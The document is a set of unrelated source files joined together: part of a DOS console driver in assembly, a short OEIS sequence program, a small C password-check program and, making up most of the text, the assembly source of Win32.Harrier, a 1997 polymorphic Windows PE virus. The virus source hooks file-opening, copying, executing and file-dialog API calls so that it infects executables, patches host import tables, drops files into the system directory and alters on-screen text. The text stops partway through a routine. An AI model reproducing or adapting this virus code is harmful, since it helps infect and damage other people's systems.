int 16h
ret
endif ; KOREA
MOVCUR: ;C02
cmp byte ptr [bx],AH
jz SETCUR
add byte ptr [bx],al
loop MOVCUR
SETCUR: mov dx,word ptr COL
;*C05 xor bx,bx
mov ah,0fh ;*C05
int 10h ;*C05
mov ah,2
int 16
jmp S1A
CUP:
IFDEF JAPAN ; ### if JAPAN ###
cmp GRAPHICS_FLAG,GRAPHICS_MODE
jnz tmplab17 ; if not graphic mode
mov ah,DEFAULT_LENGTH
jmp short tmplab18
tmplab17:
mov ah,byte ptr [REQ_TXT_LENGTH]
tmplab18:
sub ah,row_adj
cmp cl,ah
ELSE
cmp GRAPHICS_FLAG,GRAPHICS_MODE
jnz tmplab17
cmp cl,DEFAULT_LENGTH
jmp short tmplab18
tmplab17:
cmp cl,byte ptr [REQ_TXT_LENGTH]
tmplab18:
ENDIF ; ### end if JAPAN ###
ja SETCUR
mov al,MAXCOL
mov ch,byte ptr [bx+1]
or ch,CH
jz CUP1
dec CH
CUP1: cmp al,CH
ja CUP2
mov ch,al
CUP2: xchg cl,CH
dec CH
mov word ptr COL,cx
jmp SETCUR
CUF: mov ah,MAXCOL
mov al,1
CUF1: mov bx,OFFSET COL
jmp MOVCUR
CUB: mov ax,00FFH
jmp CUF1
CUU: mov ax,00FFH
CUU1: mov bx,OFFSET ROW
jmp MOVCUR
CUD:
cmp GRAPHICS_FLAG,GRAPHICS_MODE
jnz tmplab19
mov ah,DEFAULT_LENGTH
jmp short tmplab20
tmplab19:
mov ah,byte ptr [REQ_TXT_LENGTH]
dec ah ; M005; REQ_TXT_LENGTH is not 0 based
tmplab20:
IFDEF JAPAN
sub ah,row_adj
ENDIF
mov al,1
jmp CUU1
ExtKey:
cmp dl, 0 ; DL = previous parameter
jne ExtKey_1
mov Switch_X, OFF ; reset it if 0.
jmp S1A
ExtKey_1:
cmp dl, 1 ; 1 ?
je SetExtKey
jmp S1A ; ignore it
SetExtKey:
mov Switch_X, ON ; set it if 1.
jmp S1A
PSCP: mov ax,word ptr COL
mov SAVCR,ax
jmp SETCUR
PRCP: mov ax,SAVCR
mov word ptr COL,ax
jmp SETCUR
SGR: xor cx,cx
xchg cl,PRMCNT
call GETPTR
inc cx
SGR1: mov al,byte ptr [bx]
push bx
mov bx,OFFSET GRMODE
SGR2: mov ah,byte ptr [bx]
add bx,3
cmp ah,0FFH
jz SGR3
cmp ah,al
jnz SGR2
mov ax,word ptr [bx-2]
and ATTR,al
or ATTR,AH
SGR3: pop bx
inc bx
loop SGR1
jmp SETCUR
IFDEF JAPAN ; ### if JAPAN ###
ED:
mov bl,dl ; save function no.
mov dh,30
mov al,MODE
cmp al,11h
je ed20 ; if graphic 640X480
cmp al,12h
je ed20 ; if graphic 640X480
cmp GRAPHICS_FLAG,GRAPHICS_MODE
jnz ed10 ; if not graphic mode
mov dh,DEFAULT_LENGTH
jmp short ed20
ed10:
mov dh,byte ptr [REQ_TXT_LENGTH]
ed20:
sub dh,row_adj
dec dh ; last row
mov dl,MAXCOL
xor cx,cx
cmp bl,0
jz ed_func0
cmp bl,1
jz ed_func1
mov word ptr COL,cx ; ESC[2J
jmp short ed_30
ed_func0: ; ESC[0J
push dx
mov cx,word ptr COL
mov dh,ch
mov dl,MAXCOL
call erase ; erase to eol
pop dx
mov ch,ROW
cmp ch,dh
jz ed_end ; if at bottom
inc ch
mov cl,0
jmp short ed_30
ed_func1: ; ESC[1J
mov dx,word ptr COL
mov ch,dh
mov cl,0
call erase ; erase from top
mov dh,ROW
cmp dh,0
jz ed_end
dec dh
mov dl,MAXCOL
xor cx,cx
ed_30:
call erase
ed_end:
jmp setcur
EL:
cmp dl,1
jz el_func1
cmp dl,2
jz el_func2
mov cx,word ptr COL ; ESC[0K
mov dh,ch
mov dl,MAXCOL
jmp short el_10
el_func1:
mov dx,word ptr COL ; ESC[1K
mov ch,dh
mov cl,0
jmp short el_10
el_func2:
mov ch,ROW ; ESC[2K
mov dh,ch
mov cl,0
mov dl,MAXCOL
el_10:
call erase
jmp setcur
erase:
cmp GRAPHICS_FLAG,GRAPHICS_MODE ; if we are in graphics mode,
jnz erase10
xor bh,bh ; then use 0 as attribute
jmp short erase20
erase10:
mov bh,ATTR ; else use ATTR
erase20:
mov ax,0600H ; clear
int 10h
ret
else ; ### if Not JAPAN ###
ED: xor cx,cx
mov word ptr COL,cx
mov DH,30
mov al,MODE
cmp al,11H
je ERASE
cmp al,12H
je ERASE
cmp GRAPHICS_FLAG,GRAPHICS_MODE
jnz tmplab21
mov dh,DEFAULT_LENGTH
jmp short tmplab22
tmplab21:
mov dh,byte ptr [REQ_TXT_LENGTH]
tmplab22:
ERASE: mov DL,MAXCOL
cmp GRAPHICS_FLAG,GRAPHICS_MODE ; if we are in graphics mode,
jnz tmplab23
xor bh,bh ; then use 0 as attribute
jmp short tmplab24
tmplab23:
mov bh,ATTR ; else use ATTR
tmplab24:
mov ax,0600H
int 16
ED3: jmp SETCUR
EL: mov cx,word ptr COL
mov DH,CH
jmp ERASE
ENDIF ; ### end if Not JAPAN ###
IFDEF JAPAN ; ### if JAPAN ###
delete:
mov ah,6 ; scroll up
jmp short insdel
insert:
mov ah,7 ; scroll down
insdel:
mov al,cl ; set scroll number
mov COL,0 ; set to top of row
mov cx,word ptr COL
cmp GRAPHICS_FLAG,GRAPHICS_MODE
jnz line10 ; if not graphic mode
mov dh,DEFAULT_LENGTH
xor bh,bh ; attribute
jmp short line20
line10:
mov bh,ATTR
mov dh,byte ptr [REQ_TXT_LENGTH]
line20:
sub dh,row_adj
dec dh
mov dl,MAXCOL
int 10h ; scroll
jmp setcur
ENDIF ; ### end if JAPAN ###
BIN2ASC:mov DL,10
inc AL
xor ah,AH
div dl
add ax,'00'
ret
DSR: mov ah,REQ_CRSR_POS
push bx
xor bh,bh
int 10h
pop bx
push dx
mov al,dh ;REPORT CURRENT CURSOR POSITION
call BIN2ASC
mov word ptr REPORT+2,ax
pop dx
mov al,DL
call BIN2ASC
mov word ptr REPORT+5,ax
mov [KEYCNT],9
mov [KEYPTR],OFFSET REPORT
CPR: jmp S1A
RM: mov cl,1
jmp SHORT SM1
SM: xor cx,cx
SM1: mov al,DL
IFDEF JAPAN
cmp new_mode,1
jz nmode
ENDIF
cmp al,MODE7 ; if mode isn't (0-6, 13-19)
jl tmplab25 ; then skip (cas -- signed?)
cmp al,MODE13
jl tmplab26
cmp al,MODE19
jg tmplab26
tmplab25:
test HDWR_FLAG,LCD_ACTIVE ; is this the LCD?
jz tmplab25a ; skip if not
push ds ; WGR yes...
push ax ; WGR save mode
mov ax,ROM_BIOS
mov ds,ax ; WGR get equipment status flag..
mov ax,DS:[EQUIP_FLAG]
and ax,INIT_VID_MASK ; WGR clear initial video bits..
or ax,LCD_COLOR_MODE ; WGR .....set bits as color
mov ds:[EQUIP_FLAG],ax ; WGR replace updated flag.
pop ax ; WGR restore mode.
pop ds
tmplab25a:
mov ah,SET_MODE ; WGR yes....set mode..
int 10H
jmp short tmplab27
tmplab26:
cmp al,7 ; then if 7, wrap at EOL
jnz tmplab27
mov [WRAP],CL ; WGR yes....wrap...
tmplab27:
jmp CPR
IFDEF JAPAN ; ### if JAPAN ###
nmode:
mov new_mode,0
cmp al,1
jz row_mode ; set row mode
cmp al,5
jz cur_mode ; set cursor mode
jmp cpr
row_mode:
mov row_adj,0
jcxz row_mode_ret ; if set mode
cmp GRAPHICS_FLAG,GRAPHICS_MODE
jnz row_mode10 ; if not graphic mode
mov ah,DEFAULT_LENGTH
jmp short row_mode20
row_mode10:
mov ah,byte ptr [REQ_TXT_LENGTH]
row_mode20:
dec ah
cmp row,ah
jb row_mode_30 ; if cursor not at bottom row
dec row
call scroll
row_mode_30:
inc row_adj
row_mode_ret:
jmp cpr
cur_mode:
push cx
mov ah,3 ; get cursor
mov bh,bpage
int 10h
pop ax
or ax,ax
jz cur_mode10 ; if for cursor off
and ch,11011111b ; cursor on
jmp short cur_mode20
cur_mode10:
or ch,00100000b ; corsor off
cur_mode20:
mov ah,1 ; set cursor
int 10h
jmp cpr
ENDIF ; ### end if JAPAN ###
KEYASN: xor dx,dx
xchg DL,PRMCNT ;GET CHARACTER COUNT
inc dx
inc dx
call GETPTR
mov ax,word ptr [bx] ;GET CHARACTER TO BE ASSIGNED
call SCAN ;LOOK IT UP
jnz KEYAS1
mov di,bx ;DELETE OLD DEFINITION
sub ASNPTR,cx
mov KEYCNT,0 ; This delete code shuffles the
; key definition table all around.
; This will cause all sorts of trouble
; if we are in the middle of expanding
; one of the definitions being shuffled.
; So shut off the expansion.
mov si,di
add si,cx
mov cx,OFFSET BUF+ASNMAX
sub cx,si
cld
push es ; SAVE USER'S ES
push CS
pop es ; SET UP ES addRESSABILITY
rep movsb
pop es ; RESTORE ES
KEYAS1: call GETPTR
cmp DL,3
jb KEYAS3
mov byte ptr [bx-1],DL ; SET LENGTH
add ASNPTR,dx ; REMEMBER END OF LIST
add bx,dx
cmp ASNPTR,ASNMAX ; Too much???
jb KEYAS3 ; No
sub bx,dx ; Next three instructions undo the above
sub ASNPTR,dx
KEYAS3: mov byte ptr [bx-1],00
mov STATE,OFFSET S1 ; RETURN
ret
GETPTR: mov bx,ASNPTR
inc bx
add bx,PRMCNTW
cmp bx,ASNMAX + 8
jb GET1
dec PRMCNT
jmp GETPTR
GET1: add bx,OFFSET BUF
ret
; CHECK_FOR_REMAP:
; This function esnures that the keypacket
; passed to it in AX is mapped to a standard INT16h call
CHECK_FOR_REMAP PROC NEAR
cmp al,0e0h ; extended key?
jnz tmplab28
ifdef KOREA
cmp ah, 0f0h
jb mschtmp
cmp ah, 0f2h
jbe tmplab28
mschtmp:
endif ; KOREA
or ah,ah ; probably, but check for alpha character
jz tmplab28
xor al,al ; if not an alpha, map extended to standard
tmplab28:
ret
CHECK_FOR_REMAP ENDP
IFDEF DBCS
; Test if the character is DBCS Lead Byte
; input: AL = character to check
; outpit: ZF = 1 if DBCS Lead Byte
public DBCSLeadByteTable
DBCSLeadByteTable dd 0
IsDBCSLeadByte proc near
push ax
push si
push ds
lds si,cs:DBCSLeadByteTable
idlb_check:
cmp word ptr [si],0
jz idlb_not ; if end of table
cmp al,[si]
jb idlb_next ; if below low value
cmp al,[si+1]
jbe idlb_yes ; if below high value
idlb_next:
add si,2 ; do next
jmp short idlb_check
idlb_not:
or al,1 ; reset ZF
jmp short idlb_end
idlb_yes:
and al,0 ; set ZF
idlb_end:
pop ds
pop si
pop ax
ret
IsDBCSLeadByte endp
ENDIF
BUF DB 4,00,72H,16,0
DB ASNMAX+8-5 DUP (?)
CODE ENDS
END
|
; A332137: a(n) = (10^(2n+1)-1)/3 + 4*10^n.
; 7,373,33733,3337333,333373333,33333733333,3333337333333,333333373333333,33333333733333333,3333333337333333333,333333333373333333333,33333333333733333333333,3333333333337333333333333,333333333333373333333333333,33333333333333733333333333333,3333333333333337333333333333333
add $0,1
mov $1,10
pow $1,$0
mov $2,$1
add $2,6
pow $2,2
mov $0,$2
sub $0,256
div $0,30
add $0,7
|
#include <ctype.h>
#include <stdio.h>
int main(void)
{
int n, a[6];
char c;
scanf("%d%*c", &n);
while (n--)
{
a[0] = a[1] = a[2] = a[3] = a[4] = a[5] = 0;
while ((c = getchar()) != '\n')
{
if (isupper(c))
a[0] = a[5]++;
else if (islower(c))
a[1] = a[5]++;
else if (isdigit(c))
a[2] = a[5]++;
else
a[3] = a[5]++;
}
if (a[0]) a[4]++;
if (a[1]) a[4]++;
if (a[2]) a[4]++;
if (a[3]) a[4]++;
puts(a[4] > 2 && a[5] > 7 && a[5] <17 ? "YES" : "NO");
}
return 0;
}
|
; Win32.Harrier
; title HDL - The pretty PE Polymorphic virus.
; page 52,130
;
; *==================================================================*
; ! (c) 08-Sep-1997y by TechnoRat "95-th Harrier from DarkLand" !
; *==================================================================*
;
; Start coding: 27-Jul-1997y Ver 2.00a
; Still coding: 04-Sep-1997y Ver 2.01a
; Stop coding: 08-Sep-1997y Ver 2.01a
; Bug fixing: 10-Sep-1997y Ver 2.01b
; Upgrading: 14-Sep-1997y Ver 2.01b
; Bug fixing: 17-Sep-1997y Ver 2.01!
;
;
; Win32 Virus. (c)*TR*SOFT 27-Jul-1997y
;
; Compatible: MS Windows 95 (v4.0+);
; Structure: many levels polymorphic style;
; Infector: written as Win32 console application;
; Infect: all files by type NewExe (PE);
; Check: attributes, date & time, IO errors, synchronization;
; Devil: text strings on screen, message boxes, help,
; Control Panel (System applet);
; Lock: -=- nothing -=-
; Code: pretty fucking style;
;
.386 ; Party goes to begin. . .
.Model Flat,StdCall
%NoMacs
Include ..HarrInc.Inc
; ---------------------------------------------------------
; Data section must be present. Data size must be non-zero.
.Data
Dumbo Db 'For fucking TASM32+TLINK32 programs!',0
; ---------------------------------------------------------
.Code
Public StubEntryLabel ; Some definitions
Public StubImportPlace ; placed specially
Public ImagePlace ; for PELinker
Public CurrentPlace
Public FixUpsPlace
Public FixUpsCounter
Public ImportPlace
Public ImportLength
Public BufferPlace
; ---------------------------------------------------------
MaxPathLen = 260
; ---------------------------------------------------------
Cr Equ <0Dh,0Ah> ; Service macroses
Ver Equ <'v2.01 '>
Release Equ <'Release (0) from 17-Sep-1997y '>
BasedOn Equ <'based on [AsmSwap engine v1.3]'>
; ---------------------------------------------------------
; Stack memory addressing macroses
MemCommitSz = 38000h ; Stack memory size
TinyMemCommitSz = 2000h ; WARNING! depends on
; total program size.
_VarAddr = 0 ; Base of indexing
Var Macro VarName,VarType
&VarName CatStr <[>,%_VarAddr,<][EBp]> ; Defining the new
If Type VarType Eq 0 ; variable reference
_VarAddr = _VarAddr+VarType
Else
_VarAddr = _VarAddr+Type VarType
EndIf
EndM Var
; ---------------------------------------------------------
; Binary include support
BFile Macro ILabel,IFileName,IFileSize
&ILabel Label Byte
_BFileStart = $
Irpc Char,IFileName
Db '&Char'
EndM
Db (IFileSize-($-_BFileStart)) Dup(90h)
EndM BFile
; ---------------------------------------------------------
DebugModeKey = 0h ; defining the Debug
Irpc Char,<CREATOR=TechnoRat> ; Mode switcher key
DebugModeKey = ((DebugModeKey Xor '&Char')-1) Shl 1
EndM
; ---------------------------------------------------------
_Jmp Macro Addr ; Macroses that supports
Jmp Addr ; AsmSwap scrambling
EndM _Jmp
_Nop Macro Addr
EndM _Nop
; ---------------------------------------------------------
; Here the start of running code.
Start: ; Here can be placed
; the polymorphic decryptor,
; And will be placed!
; But later.
;StartCode
;Separator=_Jmp
; ---------------------------------------------------------
;Here the real virus body.
BodyHere: PushA
Cld ; Need after decrypting!
FirstCm: Call SecondCm
Xor EAx,EAx ; Some trash
Ret ; will never work!!!
SecondCm: Xor EAx,EAx ; Some another trash
Pop EBx ; Real body. . .
Sub EBx,(Offset FirstCm - Offset Start + 5)
Xor EAx,EAx ; Wait on semaphore
WaitInit: Xchg EAx,[EBx][Offset InitOk - Offset Start]
Or EAx,EAx
Jz WaitInit
Cmp EAx,2h ; Ok, All done.
Je DoneInit
;DefCodeLine
Db 0BEh
FixUpsPlace Dd ? ; Mov ESi,xxxx
;BreakCodeLine
;DefCodeLine
Db 0B9h
FixUpsCounter Dd ? ; Mov ECx,xxxx
;BreakCodeLine
Again: Mov EDi,[EBx+ESi]
Add [EBx+EDi],EBx ; SetUp ReloItems
Add ESi,4h
Dec ECx
Jnz Again
Mov Here,EBx
Mov EAx,StubEntryLabel ; Calculate the
Add EAx,EBx ; Host entry point
Sub EAx,CurrentPlace ; and place it for future
Sub EAx,PolyMorphSz
Mov HostIP,EAx
Sub EBx,CurrentPlace
Sub EBx,PolyMorphSz
Mov MemBase,EBx
Mov Debug,0h ; Checking for debug
Call GetEnvironmentStringsA ; mode presence. . .
New_Key: Xor EBx,EBx
New_Char: Cmp Byte Ptr [EAx],0h ; Calculate hash from
Je Check_Key ; Env. string
Xor Bl,[EAx]
Dec EBx
Shl EBx,1
Inc EAx
Jmp New_Char
Check_Key: Cmp EBx,DebugModeKey ; Debug key detected?
Jne New_String
Or Debug,-1 ; Yes!
Push 0h ; (??? Not used)
Call MessageBeep
Push 40h ; OkOnly+Information
Push Offset InfSelfHeader
Push Offset InfEnterDebug
Push 0h
Call MessageBoxA
Jmp Break_Keys
New_String: Inc EAx ; No, next string
Cmp Byte Ptr [EAx],0h
Jne New_Key
Break_Keys:
Mov EAx,Offset KernelName ; SetUp import entries
Mov EDx,Offset KrnlImp ; on Kernel32 And Shell32
Mov ECx,KrnlImpCnt ; And ComDlg32 DLLs
Call SetUpImport
Mov EAx,Offset ShellName
Mov EDx,Offset ShellImp
Mov ECx,ShellImpCnt
Call SetUpImport
Mov EAx,Offset DialogName
Mov EDx,Offset DialogImp
Mov ECx,DialogImpCnt
Call SetUpImport
Mov EAx,Offset UserName ; and User32 and GDI32 DLLs
Mov EDx,Offset UserImp
Mov ECx,UserImpCnt
Call SetUpImport
Mov EAx,Offset GDIName
Mov EDx,Offset GDIImp
Mov ECx,GDIImpCnt
Call SetUpImport
Mov HelpCounter,0h
Mov wsRet$,0h ; Critical section end.
DoneInit: Mov InitOk,2h ; No Writes in RAM here!!!
; Here can be implemented some initialization features.
; for Example: infecting the Export in SHELL32.dll or
; in COMDLG32.dll; or infecting the Explorer.Exe or . . .
Push MemCommitSz/4h
Call AllocStackMem
Lea EAx,FT_Struc
Push EAx
Call GetSystemTime ; Get "Random" value
Cmp Word Ptr FT_Second,10h
Jne Go_Away
Push 1000h ; OkOnly+SystemModal
Push Offset InfSelfHeader
Push Offset HelloMsg
Push 0h
Call MessageBoxA ; Fuck the society ;-)
Go_Away: Lea EAx,PackedTime ; Initialize random generator
Push EAx ; Can be performed at
Lea EAx,FT_Struc ; any time, it is legal!!!
Push EAx
Call SystemTimeToFileTime
Mov EAx,PackedTime
Or EAx,1h
Mov RandSeed,EAx
Mov EAx,10h ; by 1/16 probability
Call Random
Or EAx,EAx
Jnz NoInstallOEM
Push MaxPathLen
Lea EAx,SomePath ; Some nice install ;-)
Push EAx ; (about the OEM)
Call GetSystemDirectoryA
Push EAx
Lea EAx,SomePath
Add EAx,[ESp]
Mov EDi,EAx ; The pretty LOGO file
Mov ESi,Offset BitMapName
Cld
Mov ECx,BitMapNameL
Rep MovsB
Push 0h
Push 10000000h+80h ; FAN, FFRA
Push 2h ; CA
Push 0h
Push 1h
Push 80000000h+40000000h ; GR/GW
Lea EAx,SomePath
Push EAx
Call CreateFileA
Cmp EAx,-1h ; Create error!
Je Fail_OEM
Push EAx
Push 0h
Lea ECx,ProcessedBytes
Push ECx
Push HarrBtMpFile_Sz
Push Offset BitMapFile
Push EAx
Call WriteFile
Call CloseHandle
Lea EAx,SomePath
Add EAx,[ESp]
Mov EDi,EAx ; The pretty INFO file
Mov ESi,Offset InfoName
Mov ECx,InfoNameL
Rep MovsB
Push 0h
Push 10000000h+80h ; FAN, FFRA
Push 2h ; CA
Push 0h
Push 1h
Push 80000000h+40000000h ; GR/GW
Lea EAx,SomePath
Push EAx
Call CreateFileA
Cmp EAx,-1h ; Create error!
Je Fail_OEM
Push EAx
Push 0h
Lea ECx,ProcessedBytes
Push ECx
Push HarrInfoFile_Sz
Push Offset InfoFile
Push EAx
Call WriteFile
Call CloseHandle
Fail_OEM: Pop EAx
NoInstallOEM: Push MemCommitSz/4h
Call FreeStackMem
PopA
Jmp HostIP ; All Done.
; ---------------------------------------------------------
SetUpImport: Mov EBx,StubImportPlace ; SetUp HostImport
Add EBx,Here
Set_3$: Cmp DWord Ptr [EBx][3*4],0h ; (EDx/ECx, EAx)
Je Set_0$ ; Corrupt all. . .
Mov ESi,[EBx][3*4] ; Scan stub modules
Add ESi,MemBase
Mov EDi,EAx
Cld
Set_2$: Call CmpUnCase ; Compare two module chars
Jne Set_1$
Cmp Byte Ptr [EDi][-1],0h
Jne Set_2$ ; Names compared Ok.
Call Set_Mdl$ ; SetUp current module.
Set_1$: Add EBx,5*4 ; Next module. . .
Jmp Set_3$
Set_0$: Ret ; Last module, All done.
Set_Mdl$: Push EAx
Mov ESi,[EBx] ; (Current Module in EBx)
Or ESi,ESi ; LookUp present?
Jz Set_Mdl_1$
Add ESi,MemBase
Xor EAx,EAx
Set_Mdl_0$: Cmp DWord Ptr [ESi],0h ; Last LookUp?
Je Set_Mdl_1$
Test DWord Ptr [ESi],80000000h
Jne Set_Mdl_2$ ; Ordinal?
Push ESi
Mov ESi,[ESi] ; Get Name in module
Add ESi,MemBase
Add ESi,2h
Push EDx
Push ECx
Set_Mdl_M0$: Push ESi
Mov EDi,[EDx][1*4] ; Get self Name to SetUp
Set_Mdl_M2$: Call CmpUnCase
Jne Set_Mdl_M1$
Cmp Byte Ptr [EDi][-1],0h
Jne Set_Mdl_M2$ ; Ok, SetUp this entry
Mov EDi,[EBx][4*4] ; Ptr to AddrTable
Add EDi,MemBase
Mov ESi,[EDi][EAx] ; ImportValue
Push EDi
Mov EDi,[EDx] ; SetUp _Var
Mov [EDi],ESi
Pop EDi
Mov ESi,[EDx][2*4] ; SetUp ImportValue
Mov [EDi][EAx],ESi ; by IProc
Pop ESi
Jmp Set_Mdl_M3$
Set_Mdl_M1$: Pop ESi
Add EDx,3*4 ; Next name in list
Dec ECx
Jnz Set_Mdl_M0$
Set_Mdl_M3$: Pop ECx
Pop EDx
Pop ESi
Set_Mdl_2$: Add ESi,4 ; Next name in module
Add EAx,4
Jmp Set_Mdl_0$
Set_Mdl_1$: Pop EAx
Ret
CmpUnCase: Push EAx ; CmpsB (with UnCase check)
LodsB
Call UpCase
Mov Ah,Al
Xchg ESi,EDi
LodsB
Call UpCase
Xchg ESi,EDi
Cmp Ah,Al
Pop EAx
Ret
UpCase: Cmp Al,'a' ; UpCase the Al register
Jb UpCase_0$
Cmp Al,'z'
Ja UpCase_0$
Sub Al,20h
UpCase_0$: Ret
; ---------------------------------------------------------
; KERNEL32 infected functions realization.
ICreateFileA: Push EBp ; CreateFileA
Mov EBp,ESp ; opens or creates
PushA ; the file or other
Mov EDx,[EBp][8] ; resource (pipe, device, etc)
Mov EBx,Offset NCreateFileA
Call InfectByName
PopA
Pop EBp
Jmp _CreateFileA
IOpenFile: Push EBp ; OpenFile
Mov EBp,ESp ; opens or creates
PushA ; the file
Mov EDx,[EBp][8] ; [Obsolete]
Mov EBx,Offset NOpenFile
Call InfectByName
PopA
Pop EBp
Jmp _OpenFile
IMoveFileA: Push EBp ; MoveFileA
Mov EBp,ESp ; moves or renames
PushA ; the file
Mov EDx,[EBp][8]
Mov EBx,Offset NMoveFileA
Call InfectByName
PopA
Pop EBp
Jmp _MoveFileA
IMoveFileExA: Push EBp ; MoveFileExA
Mov EBp,ESp ; moves or renames
PushA ; the file
Mov EDx,[EBp][8] ; [Not supported by '95]
Mov EBx,Offset NMoveFileExA
Call InfectByName
PopA
Pop EBp
Jmp _MoveFileExA
ICopyFileA: Push EBp ; CopyFileA
Mov EBp,ESp ; copyes
PushA ; the file
Mov EDx,[EBp][8]
Mov EBx,Offset NCopyFileA
Call InfectByName
PopA
Pop EBp
Jmp _CopyFileA
I_lopen: Push EBp ; _lopen
Mov EBp,ESp ; opens
PushA ; the file
Mov EDx,[EBp][8] ; [Obsolete]
Mov EBx,Offset N_lopen
Call InfectByName
PopA
Pop EBp
Jmp __lopen
IWinExec: Push EBp ; WinExec
Mov EBp,ESp ; spawns
PushA ; the file
Mov EDx,[EBp][8] ; [Obsolete]
Mov EBx,Offset NWinExec
Call InfectByName
PopA
Pop EBp
Jmp _WinExec
ICreateProcessA:
Push EBp ; CreateProcessA
Mov EBp,ESp ; spawns
PushA ; the file
Mov EDx,[EBp][8]
Mov EBx,Offset NCreateProcessA
Call InfectByName
PopA
Pop EBp
Jmp _CreateProcessA
ILoadLibraryA: Push EBp ; LoadLibraryA
Mov EBp,ESp ; loads the
PushA ; library file
Mov EDx,[EBp][8]
Mov EBx,Offset NLoadLibraryA
Call InfectByName
PopA
Pop EBp
Jmp _LoadLibraryA
ILoadLibraryExA:
Push EBp ; LoadLibraryExA
Mov EBp,ESp ; loads the
PushA ; library file
Mov EDx,[EBp][8]
Mov EBx,Offset NLoadLibraryExA
Call InfectByName
PopA
Pop EBp
Jmp _LoadLibraryExA
IFindFirstFileA:
Push DWord Ptr [ESp][8]
Push DWord Ptr [ESp][8]
Call _FindFirstFileA
Cmp EAx,-1
Je FindFirst_1$
Push EBp ; FindFirstFileA
Mov EBp,ESp ; searches the
PushA ; first file
Mov EDx,[EBp][0Ch]
Add EDx,0Bh*4
Mov EBx,Offset NFindFirstFileA
Call InfectByName
PopA
Pop EBp
FindFirst_1$: Ret 8h
IFindNextFileA:
Push DWord Ptr [ESp][8]
Push DWord Ptr [ESp][8]
Call _FindNextFileA
Or EAx,EAx
Je FindNext_1$
Push EBp ; FindNextFileA
Mov EBp,ESp ; searches the
PushA ; next file
Mov EDx,[EBp][0Ch]
Add EDx,0Bh*4
Mov EBx,Offset NFindNextFileA
Call InfectByName
PopA
Pop EBp
FindNext_1$: Ret 8h
; ---------------------------------------------------------
; SHELL32 infected functions realization.
IShellExecuteA: Push EBp ; ShellExecuteA
Mov EBp,ESp ; opens or prints
PushA ; the specified file
Mov EDx,[EBp][10h] ; via registry
Mov EBx,Offset NShellExecuteA
Call InfectByName
PopA
Pop EBp
Jmp _ShellExecuteA
IShellExecuteEx:
Push EBp ; ShellExecuteEx
Mov EBp,ESp ; ???
PushA ;
Mov EDx,[EBp][10h] ; [UnDocumented]
Mov EBx,Offset NShellExecuteEx
Call InfectByName
PopA
Pop EBp
Jmp _ShellExecuteEx
IShellExecuteExA:
Push EBp ; ShellExecuteExA
Mov EBp,ESp ; ???
PushA ;
Mov EDx,[EBp][10h] ; [UnDocumented]
Mov EBx,Offset NShellExecuteExA
Call InfectByName
PopA
Pop EBp
Jmp _ShellExecuteExA
IFindExecutableA:
Push EBp ; FindExecutableA
Mov EBp,ESp ; searches the
PushA ; DDE server
Mov EDx,[EBp][8] ; via registry
Mov EBx,Offset NFindExecutableA
Call InfectByName ; or DDE requests
PopA
Pop EBp
Jmp _FindExecutableA
; ---------------------------------------------------------
; COMDLG32 infected functions realization.
IGetOpenFileNameA:
Push DWord Ptr [ESp][4] ; GetOpenFileNameA
Call _GetOpenFileNameA ; returns the name
Push EBp ; of opening file
Mov EBp,ESp
PushA
Mov EDx,[EBp][8]
Mov EDx,[EDx][7*4]
Mov EBx,Offset NGetOpenFileNameA
Call InfectByName
PopA
Pop EBp
Ret 4h
IGetSaveFileNameA:
Push DWord Ptr [ESp][4] ; GetSaveFileNameA
Call _GetSaveFileNameA ; returns the name
Push EBp ; of saving file
Mov EBp,ESp
PushA
Mov EDx,[EBp][8]
Mov EDx,[EDx][7*4]
Mov EBx,Offset NGetSaveFileNameA
Call InfectByName
PopA
Pop EBp
Ret 4h
; ---------------------------------------------------------
; USER32 infected functions realization
IDrawTextA: Push EBx ; Draw text on screen
Mov EBx,ESp
Push EAx
PushA
Push TinyMemCommitSz/4h
Call AllocStackMem
Push DWord Ptr [EBx][5*4+4]
Push DWord Ptr [EBx][4*4+4]
Mov ECx,[EBx][3*4+4]
Mov EDx,[EBx][2*4+4]
Call ConvertStr
Push ECx
Push EDx
Push DWord Ptr [EBx][1*4+4]
Call _DrawTextA
Mov [EBx][-4h],EAx
Push TinyMemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Ret 5*4
IDrawTextExA: Push EBx ; Draw text on screen
Mov EBx,ESp
Push EAx
PushA
Push TinyMemCommitSz/4h
Call AllocStackMem
Push DWord Ptr [EBx][6*4+4]
Push DWord Ptr [EBx][5*4+4]
Push DWord Ptr [EBx][4*4+4]
Mov ECx,[EBx][3*4+4]
Mov EDx,[EBx][2*4+4]
Call ConvertStr
Push ECx
Push EDx
Push DWord Ptr [EBx][1*4+4]
Call _DrawTextExA
Mov [EBx][-4h],EAx
Push TinyMemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Ret 6*4
ITabbedTextOutA:
Push EBx ; Draw text on screen
Mov EBx,ESp
Push EAx
PushA
Push TinyMemCommitSz/4h
Call AllocStackMem
Push DWord Ptr [EBx][8*4+4]
Push DWord Ptr [EBx][7*4+4]
Push DWord Ptr [EBx][6*4+4]
Mov ECx,[EBx][5*4+4]
Mov EDx,[EBx][4*4+4]
Call ConvertStr
Push ECx
Push EDx
Push DWord Ptr [EBx][3*4+4]
Push DWord Ptr [EBx][2*4+4]
Push DWord Ptr [EBx][1*4+4]
Call _TabbedTextOutA
Mov [EBx][-4h],EAx
Push TinyMemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Ret 8*4
IwsprintfA: Cmp wsRet$,0h ; Check semaphore!
Je wsprintf_1$
Jmp _wsprintfA
wsprintf_1$: Pop wsRet$
Push Offset wsprint_0$
Jmp _wsprintfA ; Format text string
wsprint_0$: Push wsRet$
Push EBx
Mov EBx,ESp
Push EAx
PushA
Push TinyMemCommitSz/4h
Call AllocStackMem
Mov EDx,[EBx][1*4+4]
Mov ECx,[EBx][-4]
Call ConvertStr
Mov [EBx][-4],ECx
Mov ESi,EDx
Mov EDi,[EBx][1*4+4]
Cld
Call Transfer_Str
Push TinyMemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Mov wsRet$,0h
Ret
wsRet$ Dd 0h
IwvsprintfA: Push EBx ; Format text string
Mov EBx,ESp
Push EAx
PushA
Push TinyMemCommitSz/4h
Call AllocStackMem
Push DWord Ptr [EBx][3*4+4]
Push DWord Ptr [EBx][2*4+4]
Push DWord Ptr [EBx][1*4+4]
Call _wvsprintfA
Mov EDx,[EBx][1*4+4]
Mov ECx,EAx
Call ConvertStr
Mov [EBx][-4],ECx
Mov EDi,[EBx][1*4+4]
Mov ESi,EDx
Cld
Call Transfer_Str
